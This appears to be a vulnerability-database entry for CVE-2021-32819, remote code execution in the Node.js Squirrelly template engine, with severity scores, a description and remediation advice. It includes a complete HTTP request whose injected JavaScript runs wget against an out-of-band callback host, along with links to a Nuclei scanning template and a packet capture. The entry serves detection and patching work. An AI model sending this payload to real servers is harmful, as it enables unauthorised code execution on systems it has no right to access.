| Title | Nodejs Squirrelly - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Update to the latest version of Nodejs Squirrelly template engine to mitigate the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.88448 |
| CVE ID | CVE-2021-32819 |
| CWE ID | CWE-200,NVD-CWE-noinfo |
| Tags | cve2021 cve nodejs rce oast squirrelly vkev vuln |
Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
GET /?Express=aaaa&autoEscape&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://d5jnrc9le0o41333gpigsa8u7x4z6szx8.oast.pro%27);// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32819.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32819.pcap
N/AN/A